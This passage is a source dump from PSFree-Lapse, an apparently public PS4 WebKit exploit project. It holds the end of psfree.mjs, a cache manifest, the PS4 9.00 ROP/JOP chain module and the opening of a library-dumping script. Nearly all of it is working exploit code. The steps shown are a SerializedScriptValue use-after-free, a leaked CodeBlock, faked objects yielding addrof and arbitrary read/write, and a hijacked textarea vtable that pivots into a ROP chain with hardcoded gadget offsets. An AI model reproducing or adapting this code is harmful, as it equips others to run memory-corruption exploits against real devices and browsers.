434 |     const idx = view.read32(off.strimpl_inline_str + marker_offset);
435 |     log(`str index: ${hex(idx)}`);
436 |     log('view:');
437 |     log(view);
438 | 
439 |     // versions like 8.0x have a JSC::JSString that have their own m_length
440 |     // field. strings consult that field instead of the m_length of their
441 |     // StringImpl
442 |     //
443 |     // we work around this by passing the string to Error.
444 |     // ErrorInstance::create() will then create a new JSString initialized from
445 |     // the StringImpl of the message argument
446 |     const rstr = Error(strs[idx]).message;
447 |     log(`str len: ${hex(rstr.length)}`);
448 |     if (rstr.length === 0xffffffff) {
449 |         log('confirmed correct leaked');
450 |         const addr = (
451 |             view.read64(off.strimpl_m_data)
452 |             .sub(off.strimpl_inline_str)
453 |         );
454 |         log(`view's buffer address: ${addr}`);
455 |         return new Reader(rstr, view);
456 |     }
457 |     die("JSString wasn't modified");
458 | }
459 | 
460 | // we will create a JSC::CodeBlock whose m_constantRegisters is set to an array
461 | // of JSValues whose size is ssv_len. the undefined constant is automatically
462 | // added due to reasons such as "undefined is returned by default if the
463 | // function exits without returning anything"
464 | const cons_len = ssv_len - 8*5;
465 | const bt_offset = 0;
466 | const idx_offset = ssv_len - 8*3;
467 | const strs_offset = ssv_len - 8*2;
468 | const src_part = (() => {
469 |     // we user var instead of let/const since such variables always get
470 |     // initialized to the NULL JSValue even if you immediately return. we will
471 |     // make functions that do as little as possible in order to speed up the
472 |     // exploit. m_constantRegisters will still contain the unused constants
473 |     //
474 |     // function foo() {
475 |     //     return;
476 |     //     let a = 1;
477 |     // }
478 |     //
479 |     // the resulting bytecode:
480 |     // bb#1
481 |     // [   0] enter
482 |     // [   1] get_scope          loc4
483 |     // [   3] mov                loc5, loc4
484 |     // [   6] check_traps
485 |     // // this part still initializes a with the NULL JSValue
486 |     // [   7] mov                loc6, (const0)
487 |     // [  10] ret                Undefined(const1)
488 |     // Successors: [ ]
489 |     //
490 |     // bb#2
491 |     // [  12] mov                loc6, Int32: 1(const2)
492 |     // [  15] ret                Undefined(const1)
493 |     // Successors: [ ]
494 |     //
495 |     //
496 |     // Constants:
497 |     //    k0 = 
498 |     //    k1 = Undefined
499 |     //    k2 = Int32: 1: in source as integer
500 |     let res = 'var f = 0x11223344;\n';
501 |     // make unique constants that won't collide with the possible marker values
502 |     for (let i = 0; i < cons_len; i += 8) {
503 |         res += `var a${i} = ${num_leaks + i};\n`;
504 |     }
505 |     return res;
506 | })();
507 | 
508 | async function leak_code_block(reader, bt_size) {
509 |     const rdr = reader;
510 |     const bt = [];
511 |     // take into account the cell and indexing header of the immutable
512 |     // butterfly
513 |     for (let i = 0; i < bt_size - 0x10; i += 8) {
514 |         bt.push(i);
515 |     }
516 | 
517 |     // cache the global variable resolution
518 |     const slen = ssv_len;
519 | 
520 |     const bt_part = `var bt = [${bt}];\nreturn bt;\n`;
521 |     const part = bt_part + src_part;
522 |     const cache = [];
523 |     for (let i = 0; i < num_leaks; i++) {
524 |         cache.push(part + `var idx = ${i};\nidx\`foo\`;`);
525 |     }
526 | 
527 |     const chunkSize = (is_ps4 && version < 0x900) ? 128 * KB : 1 * MB;
528 |     const smallPageSize = 4 * KB;
529 |     const search_addr = align(rdr.m_data, chunkSize);
530 |     log(`search addr: ${search_addr}`);
531 | 
532 |     log(`func_src:\n${cache[0]}\nfunc_src end`);
533 |     log('start find CodeBlock');
534 |     let winning_off = null;
535 |     let winning_idx = null;
536 |     let winning_f = null;
537 |     let find_cb_loop = 0;
538 |     // false positives
539 |     let fp = 0;
540 |     rdr.set_addr(search_addr);
541 |     loop: while (true) {
542 |         const funcs = [];
543 |         for (let i = 0; i < num_leaks; i++) {
544 |             const f = Function(cache[i]);
545 |             // the first call allocates the CodeBlock
546 |             f();
547 |             funcs.push(f);
548 |         }
549 | 
550 |         for (let p = 0; p < chunkSize; p += smallPageSize) {
551 |             for (let i = p; i < p + smallPageSize; i += slen) {
552 |                 if (rdr.read32_at(i + 8) !== 0x11223344) {
553 |                     continue;
554 |                 }
555 | 
556 |                 rdr.set_addr(rdr.read64_at(i + strs_offset));
557 |                 const m_type = rdr.read8_at(5);
558 |                 // make sure we're not reading the constant registers of an
559 |                 // UnlinkedCodeBlock. those have JSTemplateObjectDescriptors.
560 |                 // CodeBlock converts those to JSArrays
561 |                 if (m_type !== 0) {
562 |                     rdr.set_addr(search_addr);
563 |                     winning_off = i;
564 |                     winning_idx = rdr.read32_at(i + idx_offset);
565 |                     winning_f = funcs[winning_idx];
566 |                     break loop;
567 |                 }
568 |                 rdr.set_addr(search_addr);
569 |                 fp++;
570 |             }
571 |         }
572 | 
573 |         find_cb_loop++;
574 |         gc();
575 |         await sleep();
576 |     }
577 |     log(`loop ${find_cb_loop} winning_off: ${hex(winning_off)}`);
578 |     log(`winning_idx: ${hex(winning_idx)} false positives: ${fp}`);
579 | 
580 |     log('CodeBlock.m_constantRegisters.m_buffer:');
581 |     rdr.set_addr(search_addr.add(winning_off));
582 |     for (let i = 0; i < slen; i += 8) {
583 |         log(`${rdr.read64_at(i)} | ${hex(i)}`);
584 |     }
585 | 
586 |     const bt_addr = rdr.read64_at(bt_offset);
587 |     const strs_addr = rdr.read64_at(strs_offset);
588 |     log(`immutable butterfly addr: ${bt_addr}`);
589 |     log(`string array passed to tag addr: ${strs_addr}`);
590 | 
591 |     log('JSImmutableButterfly:');
592 |     rdr.set_addr(bt_addr);
593 |     for (let i = 0; i < bt_size; i += 8) {
594 |         log(`${rdr.read64_at(i)} | ${hex(i)}`);
595 |     }
596 | 
597 |     log('string array:');
598 |     rdr.set_addr(strs_addr);
599 |     for (let i = 0; i < off.size_jsobj; i += 8) {
600 |         log(`${rdr.read64_at(i)} | ${hex(i)}`);
601 |     }
602 | 
603 |     return [winning_f, bt_addr, strs_addr];
604 | }
605 | 
606 | // data to write to the SerializedScriptValue
607 | //
608 | // setup to make deserialization create an ArrayBuffer with an arbitrary buffer
609 | // address
610 | function make_ssv_data(ssv_buf, view, view_p, addr, size) {
611 |     // sizeof JSC::ArrayBufferContents
612 |     const size_abc = (() => {
613 |         if (is_ps4) {
614 |             return version >= 0x900 ? 0x18 : 0x20;
615 |         } else {
616 |             return version >= 0x300 ? 0x18 : 0x20;
617 |         }
618 |     })();
619 | 
620 |     const data_len = 9;
621 |     // sizeof WTF::Vector
622 |     const size_vector = 0x10;
623 | 
624 |     // SSV offsets
625 |     const off_m_data = 8;
626 |     const off_m_abc = 0x18;
627 |     // view offsets
628 |     const voff_vec_abc = 0; // Vector
629 |     const voff_abc = voff_vec_abc + size_vector; // ArrayBufferContents
630 |     const voff_data = voff_abc + size_abc;
631 | 
632 |     // WTF::Vector
633 |     // write m_data
634 |     // m_buffer
635 |     ssv_buf.write64(off_m_data, view_p.add(voff_data));
636 |     // m_capacity
637 |     ssv_buf.write32(off_m_data + 8, data_len);
638 |     // m_size
639 |     ssv_buf.write64(off_m_data + 0xc, data_len);
640 | 
641 |     // 6 is the serialization format version number for ps4 6.00. The format
642 |     // is backwards compatible and using a value less than the current version
643 |     // number used by a specific WebKit version is considered valid.
644 |     //
645 |     // See CloneDeserializer::isValid() from
646 |     // WebKit/Source/WebCore/bindings/js/SerializedScriptValue.cpp at PS4 8.0x.
647 |     const CurrentVersion = 6;
648 |     const ArrayBufferTransferTag = 23;
649 |     view.write32(voff_data, CurrentVersion);
650 |     view[voff_data + 4] = ArrayBufferTransferTag;
651 |     view.write32(voff_data + 5, 0);
652 | 
653 |     // std::unique_ptr>
654 |     // write m_arrayBufferContentsArray
655 |     ssv_buf.write64(off_m_abc, view_p.add(voff_vec_abc));
656 |     // write WTF::Vector
657 |     view.write64(voff_vec_abc, view_p.add(voff_abc));
658 |     view.write32(voff_vec_abc + 8, 1);
659 |     view.write32(voff_vec_abc + 0xc, 1);
660 | 
661 |     if (size_abc === 0x20) {
662 |         // m_destructor, offset 0, leave as 0
663 |         // m_shared, offset 8, leave as 0
664 |         // m_data
665 |         view.write64(voff_abc + 0x10, addr);
666 |         // m_sizeInBytes
667 |         view.write32(voff_abc + 0x18, size);
668 |     } else {
669 |         // m_data
670 |         view.write64(voff_abc + 0, addr);
671 |         // m_destructor (48 bits), offset 8, leave as 0
672 |         // m_shared (48 bits), offset 0xe, leave as 0
673 |         // m_sizeInBytes
674 |         view.write32(voff_abc + 0x14, size);
675 |     }
676 | }
677 | 
678 | async function make_arw(reader, view2, pop) {
679 |     const rdr = reader;
680 | 
681 |     // we have to align the fake object to atomSize (16) else the process
682 |     // crashes. we don't know why
683 |     //
684 |     // since cells (GC memory chunks) are always aligned to atomSize, there
685 |     // might be code that's assuming that all GC pointers are aligned
686 |     //
687 |     // see atomSize from WebKit/Source/JavaScriptCore/heap/MarkedBlock.h at
688 |     // PS4 8.0x
689 |     const fakeobj_off = 0x20;
690 |     const fakebt_base = fakeobj_off + off.size_jsobj;
691 |     // sizeof JSC::IndexingHeader
692 |     const indexingHeader_size = 8;
693 |     // sizeof JSC::ArrayStorage
694 |     const arrayStorage_size = 0x18;
695 |     // there's only the .raw property
696 |     const propertyStorage = 8;
697 |     const fakebt_off = fakebt_base + indexingHeader_size + propertyStorage;
698 | 
699 |     log('STAGE: leak CodeBlock');
700 |     // has too be greater than 0x10. the size of JSImmutableButterfly
701 |     const bt_size = 0x10 + fakebt_off + arrayStorage_size;
702 |     const [func, bt_addr, strs_addr] = await leak_code_block(rdr, bt_size);
703 | 
704 |     const view = rdr.rstr_view;
705 |     const view_p = rdr.m_data.sub(off.strimpl_inline_str);
706 |     const view_save = new Uint8Array(view);
707 | 
708 |     view.fill(0);
709 |     make_ssv_data(view2, view, view_p, bt_addr, bt_size);
710 | 
711 |     const bt = new BufferView(pop.state);
712 |     view.set(view_save);
713 | 
714 |     log('ArrayBuffer pointing to JSImmutableButterfly:');
715 |     for (let i = 0; i < bt.byteLength; i += 8) {
716 |         log(`${bt.read64(i)} | ${hex(i)}`);
717 |     }
718 | 
719 |     // the immutable butterfly's indexing type is ArrayWithInt32 so
720 |     // JSImmutableButterfly::visitChildren() won't ask the GC to scan its slots
721 |     // for JSObjects to recursively visit. this means that we can write
722 |     // anything to the the butterfly's data area without fear of a GC crash
723 | 
724 |     const val_true = 7; // JSValue of "true"
725 |     const strs_cell = rdr.read64(strs_addr);
726 | 
727 |     bt.write64(fakeobj_off, strs_cell);
728 |     bt.write64(fakeobj_off + off.js_butterfly, bt_addr.add(fakebt_off));
729 | 
730 |     // since .raw is the first ever created property, it's just besides the
731 |     // indexing header
732 |     bt.write64(fakebt_off - 0x10, val_true);
733 |     // indexing header's publicLength and vectorLength
734 |     bt.write32(fakebt_off - 8, 1);
735 |     bt.write32(fakebt_off - 8 + 4, 1);
736 | 
737 |     // custom ArrayStorage that allows read/write to index 0. we have to use an
738 |     // ArrayStorage because the structure assigned to the structure ID expects
739 |     // one so visitButterfly() will crash if we try to fake the object with a
740 |     // regular butterfly
741 | 
742 |     // m_sparseMap
743 |     bt.write64(fakebt_off, 0);
744 |     // m_indexBias
745 |     bt.write32(fakebt_off + 8, 0);
746 |     // m_numValuesInVector
747 |     bt.write32(fakebt_off + 0xc, 1);
748 | 
749 |     // m_vector[0]
750 |     bt.write64(fakebt_off + 0x10, val_true);
751 | 
752 |     // immutable_butterfly[0] = fakeobj;
753 |     bt.write64(0x10, bt_addr.add(fakeobj_off));
754 | 
755 |     const fake = func()[0];
756 |     log(`fake.raw: ${fake.raw}`);
757 |     log(`fake[0]: ${fake[0]}`);
758 |     log(`fake: [${fake}]`);
759 | 
760 |     const test_val = 3;
761 |     log(`test setting fake[0] to ${test_val}`);
762 |     fake[0] = test_val;
763 |     if (fake[0] !== test_val) {
764 |         die(`unexpected fake[0]: ${fake[0]}`);
765 |     }
766 | 
767 |     function addrof(obj) {
768 |         fake[0] = obj;
769 |         return bt.read64(fakebt_off + 0x10);
770 |     }
771 | 
772 |     // m_mode = WastefulTypedArray, allocated buffer on the fastMalloc heap,
773 |     // unlike FastTypedArray, where the buffer is managed by the GC. This
774 |     // prevents random crashes.
775 |     //
776 |     // See JSGenericTypedArrayView::visitChildren() from
777 |     // WebKit/Source/JavaScriptCore/runtime/JSGenericTypedArrayViewInlines.h at
778 |     // PS4 8.0x.
779 |     const worker = new DataView(new ArrayBuffer(1));
780 |     const main_template = new Uint32Array(new ArrayBuffer(off.size_view));
781 | 
782 |     const leaker = {addr: null, 0: 0};
783 | 
784 |     const worker_p = addrof(worker);
785 |     const main_p = addrof(main_template);
786 |     const leaker_p = addrof(leaker);
787 | 
788 |     // we'll fake objects using a JSArrayBufferView whose m_mode is
789 |     // FastTypedArray. it's safe to use its buffer since it's GC-allocated. the
790 |     // current fastSizeLimit is 1000. if the length is less than or equal to
791 |     // that, we get a FastTypedArray
792 |     const scaled_sview = off.size_view / 4;
793 |     const faker = new Uint32Array(scaled_sview);
794 |     const faker_p = addrof(faker);
795 |     const faker_vector = rdr.read64(faker_p.add(off.view_m_vector));
796 | 
797 |     const vector_idx = off.view_m_vector / 4;
798 |     const length_idx = off.view_m_length / 4;
799 |     const mode_idx = off.view_m_mode / 4;
800 |     const bt_idx = off.js_butterfly / 4;
801 | 
802 |     // fake a Uint32Array using GC memory
803 |     faker[vector_idx] = worker_p.lo;
804 |     faker[vector_idx + 1] = worker_p.hi;
805 |     faker[length_idx] = scaled_sview;
806 | 
807 |     rdr.set_addr(main_p);
808 |     faker[mode_idx] = rdr.read32_at(off.view_m_mode);
809 |     // JSCell
810 |     faker[0] = rdr.read32_at(0);
811 |     faker[1] = rdr.read32_at(4);
812 |     faker[bt_idx] = rdr.read32_at(off.js_butterfly);
813 |     faker[bt_idx + 1] = rdr.read32_at(off.js_butterfly + 4);
814 | 
815 |     // fakeobj()
816 |     bt.write64(fakebt_off + 0x10, faker_vector);
817 |     const main = fake[0];
818 | 
819 |     log('main (pointing to worker):');
820 |     for (let i = 0; i < off.size_view; i += 8) {
821 |         const idx = i / 4;
822 |         log(`${new Int(main[idx], main[idx + 1])} | ${hex(i)}`);
823 |     }
824 | 
825 |     new Memory(
826 |         main, worker, leaker,
827 |         leaker_p.add(off.js_inline_prop),
828 |         rdr.read64(leaker_p.add(off.js_butterfly)),
829 |     );
830 |     log('achieved arbitrary r/w');
831 | 
832 |     rdr.restore();
833 |     // set the refcount to a high value so we don't free the memory, view's
834 |     // death will already free it (a StringImpl is currently using the memory)
835 |     view.write32(0, -1);
836 |     // ditto (a SerializedScriptValue is currently using the memory)
837 |     view2.write32(0, -1);
838 |     // we don't want its death to call fastFree() on GC memory
839 |     make_arw._buffer = bt.buffer;
840 | }
841 | 
842 | async function main() {
843 |     log('STAGE: UAF SSV');
844 |     const [fsets, indices] = prepare_uaf();
845 |     const [view, [view2, pop]] = await uaf_ssv(fsets, indices[1], indices[0]);
846 | 
847 |     log('STAGE: get string relative read primitive');
848 |     const rdr = await make_rdr(view);
849 | 
850 |     for (const fset of fsets) {
851 |         fset.rows = '';
852 |         fset.cols = '';
853 |     }
854 | 
855 |     log('STAGE: achieve arbitrary read/write primitive');
856 |     await make_arw(rdr, view2, pop);
857 | 
858 |     clear_log();
859 |     // path to your script that will use the exploit
860 |     import('./lapse.mjs');
861 | }
862 | main();
863 | 


--------------------------------------------------------------------------------
/psfree_lapse.cache:
--------------------------------------------------------------------------------
 1 | CACHE MANIFEST 
 2 | # PSFree-Lapse
 3 | 
 4 | about.html
 5 | alert.mjs
 6 | cache.html
 7 | config.mjs
 8 | index.html
 9 | lapse.mjs
10 | payload.bin
11 | psfree.mjs
12 | fonts\LiberationMono-Regular.ttf
13 | kpatch\900.elf
14 | module\chain.mjs
15 | module\constants.mjs
16 | module\int64.mjs
17 | module\mem.mjs
18 | module\memtools.mjs
19 | module\offset.mjs
20 | module\rw.mjs
21 | module\utils.mjs
22 | module\view.mjs
23 | rop\900.mjs
24 | 
25 | NETWORK:
26 | *
27 | 
28 | SETTINGS:
29 | prefer-online:
30 | 
31 | 


--------------------------------------------------------------------------------
/rop/900.mjs:
--------------------------------------------------------------------------------
  1 | /* Copyright (C) 2024 anonymous
  2 | 
  3 | This file is part of PSFree.
  4 | 
  5 | PSFree is free software: you can redistribute it and/or modify
  6 | it under the terms of the GNU Affero General Public License as
  7 | published by the Free Software Foundation, either version 3 of the
  8 | License, or (at your option) any later version.
  9 | 
 10 | PSFree is distributed in the hope that it will be useful,
 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of
 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 13 | GNU Affero General Public License for more details.
 14 | 
 15 | You should have received a copy of the GNU Affero General Public License
 16 | along with this program.  If not, see .  */
 17 | 
 18 | // by janisslsm (John) from ps4-dev discord
 19 | 
 20 | import { log } from '../module/utils.mjs';
 21 | import { mem } from '../module/mem.mjs';
 22 | import { KB} from '../module/constants.mjs';
 23 | import { ChainBase } from '../module/chain.mjs';
 24 | 
 25 | import {
 26 |     find_base,
 27 |     get_view_vector,
 28 |     resolve_import,
 29 |     init_syscall_array,
 30 | } from '../module/memtools.mjs';
 31 | 
 32 | import * as rw from '../module/rw.mjs';
 33 | 
 34 | const origin = window.origin;
 35 | const port = '8000';
 36 | const url = `${origin}:${port}`;
 37 | 
 38 | const syscall_array = [];
 39 | 
 40 | const offset_textarea_impl = 0x18;
 41 | 
 42 | // WebKit offsets of imported functions
 43 | const offset_wk_stack_chk_fail = 0x178;
 44 | const offset_wk_memcpy = 0x188;
 45 | 
 46 | // libSceNKWebKit.sprx
 47 | export let libwebkit_base = null;
 48 | // libkernel_web.sprx
 49 | export let libkernel_base = null;
 50 | // libSceLibcInternal.sprx
 51 | export let libc_base = null;
 52 | 
 53 | // Chain implementation based on Chain803. Replaced offsets that changed
 54 | // between versions. Replaced gadgets that were missing with new ones that
 55 | // won't change the API.
 56 | //
 57 | // gadgets for the JOP chain
 58 | //
 59 | // Why these JOP chain gadgets are not named jop1-3 and jop2-5 not jop4-7 is
 60 | // because jop1-5 was the original chain used by the old implementation of
 61 | // Chain803. Now the sequence is ta_jop1-3 then to jop2-5.
 62 | //
 63 | // When the scrollLeft getter native function is called on PS4 9.00, rsi is the
 64 | // JS wrapper for the WebCore textarea class.
 65 | const ta_jop1 = `
 66 | mov rdi, qword ptr [rsi + 0x18]
 67 | mov rax, qword ptr [rdi]
 68 | call qword ptr [rax + 0xb8]
 69 | `;
 70 | // Since the method of code redirection we used is via redirecting a call to
 71 | // jump to our JOP chain, we have the return address of the caller on entry.
 72 | //
 73 | // ta_jop1 pushed another object (via the call instruction) but we want no
 74 | // extra objects between the return address and the rbp that will be pushed by
 75 | // jop2 later. So we pop the return address pushed by ta_jop1.
 76 | //
 77 | // This will make pivoting back easy, just "leave; ret".
 78 | const ta_jop2 = `
 79 | pop rsi
 80 | jmp qword ptr [rax + 0x1c]
 81 | `;
 82 | const ta_jop3 = `
 83 | mov rdi, qword ptr [rax + 8]
 84 | mov rax, qword ptr [rdi]
 85 | jmp qword ptr [rax + 0x30]
 86 | `;
 87 | // rbp is now pushed, any extra objects pushed by the call instructions can be
 88 | // ignored
 89 | const jop2 = `
 90 | push rbp
 91 | mov rbp, rsp
 92 | mov rax, qword ptr [rdi]
 93 | call qword ptr [rax + 0x58]
 94 | `;
 95 | const jop3 = `
 96 | mov rdx, qword ptr [rax + 0x18]
 97 | mov rax, qword ptr [rdi]
 98 | call qword ptr [rax + 0x10]
 99 | `;
100 | const jop4 = `
101 | push rdx
102 | jmp qword ptr [rax]
103 | `;
104 | const jop5 = 'pop rsp; ret';
105 | 
106 | // the ps4 firmware is compiled to use rbp as a frame pointer
107 | //
108 | // The JOP chain pushed rbp and moved rsp to rbp before the pivot. The chain
109 | // must save rbp (rsp before the pivot) somewhere if it uses it. The chain must
110 | // restore rbp (if needed) before the epilogue.
111 | //
112 | // The epilogue will move rbp to rsp (restore old rsp) and pop rbp (which we
113 | // pushed earlier before the pivot, thus restoring the old rbp).
114 | //
115 | // leave instruction equivalent:
116 | //     mov rsp, rbp
117 | //     pop rbp
118 | const rop_epilogue = 'leave; ret';
119 | 
120 | const webkit_gadget_offsets = new Map(Object.entries({
121 |     'pop rax; ret' : 0x0000000000051a12, // `58 c3`
122 |     'pop rbx; ret' : 0x00000000000be5d0, // `5b c3`
123 |     'pop rcx; ret' : 0x00000000000657b7, // `59 c3`
124 |     'pop rdx; ret' : 0x000000000000986c, // `5a c3`
125 | 
126 |     'pop rbp; ret' : 0x00000000000000b6, // `5d c3`
127 |     'pop rsi; ret' : 0x000000000001f4d6, // `5e c3`
128 |     'pop rdi; ret' : 0x0000000000319690, // `5f c3`
129 |     'pop rsp; ret' : 0x000000000004e293, // `5c c3`
130 | 
131 |     'pop r8; ret' : 0x00000000001a7ef1, // `47 58 c3`
132 |     'pop r9; ret' : 0x0000000000422571, // `47 59 c3`
133 |     'pop r10; ret' : 0x0000000000e9e1d1, // `47 5a c3`
134 |     'pop r11; ret' : 0x00000000012b1d51, // `47 5b c3`
135 | 
136 |     'pop r12; ret' : 0x000000000085ec71, // `47 5c c3`
137 |     'pop r13; ret' : 0x00000000001da461, // `47 5d c3`
138 |     'pop r14; ret' : 0x0000000000685d73, // `47 5e c3`
139 |     'pop r15; ret' : 0x00000000006ab3aa, // `47 5f c3`
140 | 
141 |     'ret' : 0x0000000000000032, // `c3`
142 |     'leave; ret' : 0x000000000008db5b, // `c9 c3`
143 | 
144 |     'mov rax, qword ptr [rax]; ret' : 0x00000000000241cc, // `48 8b 00 c3`
145 |     'mov qword ptr [rdi], rax; ret' : 0x000000000000613b, // `48 89 07 c3`
146 |     'mov dword ptr [rdi], eax; ret' : 0x000000000000613c, // `89 07 c3`
147 |     'mov dword ptr [rax], esi; ret' : 0x00000000005c3482, // `89 30 c3`
148 |   
149 | 
150 |     [jop2] : 0x0000000000683800,
151 |     [jop3] : 0x0000000000303906,
152 |     [jop4] : 0x00000000028bd332,
153 |     [jop5] : 0x000000000004e293,
154 | 
155 |     [ta_jop1] : 0x00000000004e62a4,
156 |     [ta_jop2] : 0x00000000021fce7e,
157 |     [ta_jop3] : 0x00000000019becb4,
158 | }));
159 | 
160 | const libc_gadget_offsets = new Map(Object.entries({
161 |     'getcontext' : 0x24f04,
162 |     'setcontext' : 0x29448,
163 | }));
164 | 
165 | const libkernel_gadget_offsets = new Map(Object.entries({
166 |     // returns the location of errno
167 |     '__error' : 0xCB80,
168 | }));
169 | 
170 | export const gadgets = new Map();
171 | 
172 | function get_bases() {
173 |     const textarea = document.createElement('textarea');
174 |     const webcore_textarea = mem.addrof(textarea).readp(offset_textarea_impl);
175 |     const textarea_vtable = webcore_textarea.readp(0);
176 |     const libwebkit_base = find_base(textarea_vtable, true, true);
177 | 
178 |     const stack_chk_fail_import =
179 |         libwebkit_base
180 |         .add(offset_wk_stack_chk_fail)
181 |     ;
182 |     const stack_chk_fail_addr = resolve_import(
183 |         stack_chk_fail_import,
184 |         true,
185 |         true
186 |     );
187 |     const libkernel_base = find_base(stack_chk_fail_addr, true, true);
188 | 
189 |     const memcpy_import = libwebkit_base.add(offset_wk_memcpy);
190 |     const memcpy_addr = resolve_import(memcpy_import, true, true);
191 |     const libc_base = find_base(memcpy_addr, true, true);
192 | 
193 |     return [
194 |         libwebkit_base,
195 |         libkernel_base,
196 |         libc_base,
197 |     ];
198 | }
199 | 
200 | export function init_gadget_map(gadget_map, offset_map, base_addr) {
201 |     for (const [insn, offset] of offset_map) {
202 |         gadget_map.set(insn, base_addr.add(offset));
203 |     }
204 | }
205 | 
206 | class Chain900Base extends ChainBase {
207 |     constructor() {
208 |         super();
209 | 
210 |         // for conditional jumps
211 |         this._clean_branch_ctx();
212 |         this.flag = new Uint8Array(8);
213 |         this.flag_addr = get_view_vector(this.flag);
214 |         this.jmp_target = new Uint8Array(0x100);
215 |         rw.write64(this.jmp_target, 0x1c, this.get_gadget(jop4));
216 |         rw.write64(this.jmp_target, 0, this.get_gadget(jop5));
217 | 
218 |         // for save/restore
219 |         this.is_saved = false;
220 |         this.is_stale = false;
221 |         this.position = 0;
222 |         const jmp_buf_size = 0xc8;
223 |         this.jmp_buf = new Uint8Array(jmp_buf_size);
224 |         this.jmp_buf_p = get_view_vector(this.jmp_buf);
225 |     }
226 | 
227 |     // sequence to pivot back and return
228 |     push_end() {
229 |         this.push_gadget(rop_epilogue);
230 |     }
231 | 
232 |     check_is_branching() {
233 |         if (this.is_branch_ctx) {
234 |             throw Error('chain is still branching, end it before running');
235 |         }
236 |     }
237 | 
238 |     push_value(value) {
239 |         super.push_value(value);
240 | 
241 |         if (this.is_branch_ctx) {
242 |             this.branch_position += 8;
243 |         }
244 |     }
245 | 
246 |     _clean_branch_ctx() {
247 |         this.is_branch_ctx = false;
248 |         this.branch_position = null;
249 |         this.delta_slot = null;
250 |         this.rsp_slot = null;
251 |         this.rsp_position = null;
252 |     }
253 | 
254 |     clean() {
255 |         super.clean();
256 |         this._clean_branch_ctx();
257 |         this.is_saved = false;
258 |         this.is_stale = false;
259 |         this.position = 0;
260 |     }
261 | 
262 |     push_get_retval() {
263 |         this.push_gadget('pop rdi; ret');
264 |         this.push_value(this.retval_addr);
265 |         this.push_gadget('mov qword ptr [rdi], rax; ret');
266 |     }
267 | 
268 |         push_clear_errno() {
269 |         this.push_call(this.get_gadget('__error'));
270 |         this.push_gadget('pop rsi; ret');
271 |         this.push_value(0);
272 |         this.push_gadget('mov dword ptr [rax], esi; ret');
273 |     }
274 | 
275 |         push_get_errno() {
276 |         this.push_gadget('pop rdi; ret');
277 |         this.push_value(this.errno_addr);
278 | 
279 |         this.push_call(this.get_gadget('__error'));
280 | 
281 |         this.push_gadget('mov rax, qword ptr [rax]; ret');
282 |         this.push_gadget('mov dword ptr [rdi], eax; ret');
283 |     }
284 | 
285 |         check_stale() {
286 |         if (this.is_stale) {
287 |             throw Error('chain already ran, clean it first');
288 |         }
289 |         this.is_stale = true;
290 |     }
291 |         check_is_empty() {
292 |         if (this.position === 0) {
293 |             throw Error('chain is empty');
294 |         }
295 |     }
296 | }
297 | 
298 | // Chain for PS4 9.00
299 | export class Chain900 extends Chain900Base {
300 |     constructor() {
301 |         super();
302 | 
303 |         const textarea = document.createElement('textarea');
304 |         this.textarea = textarea;
305 |         const js_ta = mem.addrof(textarea);
306 |         const webcore_ta = js_ta.readp(0x18);
307 |         this.webcore_ta = webcore_ta;
308 |         // Only offset 0x1c8 will be used when calling the scrollLeft getter
309 |         // native function (our tests don't crash).
310 |         //
311 |         // This implies we don't need to know the exact size of the vtable and
312 |         // try to copy it as much as possible to avoid a crash due to missing
313 |         // vtable entries.
314 |         //
315 |         // So the rest of the vtable are free for our use.
316 |         const vtable = new Uint8Array(0x200);
317 |         const old_vtable_p = webcore_ta.readp(0);
318 |         this.vtable = vtable;
319 |         this.old_vtable_p = old_vtable_p;
320 | 
321 |         // 0x1b8 is the offset of the scrollLeft getter native function
322 |         rw.write64(vtable, 0x1b8, this.get_gadget(ta_jop1));
323 |         rw.write64(vtable, 0xb8, this.get_gadget(ta_jop2));
324 |         rw.write64(vtable, 0x1c, this.get_gadget(ta_jop3));
325 | 
326 |         // for the JOP chain
327 |         const rax_ptrs = new Uint8Array(0x100);
328 |         const rax_ptrs_p = get_view_vector(rax_ptrs);
329 |         this.rax_ptrs = rax_ptrs;
330 | 
331 |         rw.write64(rax_ptrs, 0x30, this.get_gadget(jop2));
332 |         rw.write64(rax_ptrs, 0x58, this.get_gadget(jop3));
333 |         rw.write64(rax_ptrs, 0x10, this.get_gadget(jop4));
334 |         rw.write64(rax_ptrs, 0, this.get_gadget(jop5));
335 |         // value to pivot rsp to
336 |         rw.write64(this.rax_ptrs, 0x18, this.stack_addr);
337 | 
338 |         const jop_buffer = new Uint8Array(8);
339 |         const jop_buffer_p = get_view_vector(jop_buffer);
340 |         this.jop_buffer = jop_buffer;
341 | 
342 |         rw.write64(jop_buffer, 0, rax_ptrs_p);
343 | 
344 |         rw.write64(vtable, 8, jop_buffer_p);
345 |     }
346 | 
347 |     run() {
348 |         this.check_stale();
349 |         this.check_is_empty();
350 |         this.check_is_branching();
351 | 
352 |         // change vtable
353 |         this.webcore_ta.write64(0, get_view_vector(this.vtable));
354 |         // jump to JOP chain
355 |         this.textarea.scrollLeft;
356 |         // restore vtable
357 |         this.webcore_ta.write64(0, this.old_vtable_p);
358 |     }
359 | }
360 | export const Chain = Chain900;
361 | 
362 | export function init(Chain) {
363 |     [libwebkit_base, libkernel_base, libc_base] = get_bases();
364 | 
365 |     init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
366 |     init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
367 |     init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
368 |     init_syscall_array(syscall_array, libkernel_base, 300 * KB);
369 |     log('syscall_array:');
370 |     log(syscall_array);
371 |     Chain.init_class(gadgets, syscall_array);
372 | }
373 | 
374 | log('Chain900');
375 | 


--------------------------------------------------------------------------------
/send.mjs:
--------------------------------------------------------------------------------
  1 | /* Copyright (C) 2024-2025 anonymous
  2 | 
  3 | This file is part of PSFree.
  4 | 
  5 | PSFree is free software: you can redistribute it and/or modify
  6 | it under the terms of the GNU Affero General Public License as
  7 | published by the Free Software Foundation, either version 3 of the
  8 | License, or (at your option) any later version.
  9 | 
 10 | PSFree is distributed in the hope that it will be useful,
 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of
 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 13 | GNU Affero General Public License for more details.
 14 | 
 15 | You should have received a copy of the GNU Affero General Public License
 16 | along with this program.  If not, see .  */
 17 | 
 18 | // script for dumping libSceNKWebKit.sprx, libkernel_web.sprx, and
 19 | // libSceLibcInternal.sprx
 20 | 
